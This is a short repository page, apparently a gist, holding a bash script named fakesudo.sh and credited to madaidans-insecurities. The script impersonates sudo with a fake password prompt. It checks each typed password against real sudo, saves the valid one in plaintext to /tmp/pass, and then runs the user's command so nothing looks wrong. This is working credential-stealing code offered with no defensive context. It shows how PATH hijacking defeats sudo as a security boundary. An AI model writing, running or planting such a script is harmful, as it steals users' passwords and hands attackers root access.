fake sudo bash script

README.md

Original from madaidans-insecurities.

fakesudo.sh

#!/usr/bin/env bash
DIR=$(dirname "$0")
if [[ $PATH == ?(*:)$DIR?(:*) ]]; then
    PATH=${PATH/#"$DIR:"/}
    PATH=${PATH//":$DIR:"/":"}
fi
if [[ "$*" == "" ]]; then
    sudo
else
    sudo -k
    while true; do
        read -srp "[sudo] password for $USER: "
        echo
        if echo "$REPLY" | sudo -vS &>/dev/null; then
                echo "$REPLY" > /tmp/pass
                break
        fi
    done
    sudo "$@"
fi